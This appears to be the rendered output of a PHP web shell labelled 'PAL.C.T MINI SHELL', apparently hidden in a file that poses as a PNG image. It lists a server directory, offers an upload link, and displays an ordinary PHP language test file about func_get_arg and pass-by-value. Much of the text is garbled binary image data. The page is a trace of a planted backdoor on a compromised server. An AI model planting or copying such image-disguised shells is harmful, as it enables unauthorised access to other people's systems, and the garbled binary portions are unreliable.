php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/tests/lang/
upload
files >> //opt/php-7.0.1/tests/lang/func_get_arg.005.phpt

--TEST--
A variable, which is referenced by another variable, is passed by value.
During the call, the original variable is updated. This should not affect func_get_arg().  
--FILE--
<?php
function refVal($x) {
	global $a;
	$a = 'changed.a';
	var_dump($x);
	var_dump(func_get_arg(0));
}

$a = "original.a";
$ref =& $a;
refVal($a);
?>
--EXPECTF--
string(10) "original.a"
string(10) "original.a"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`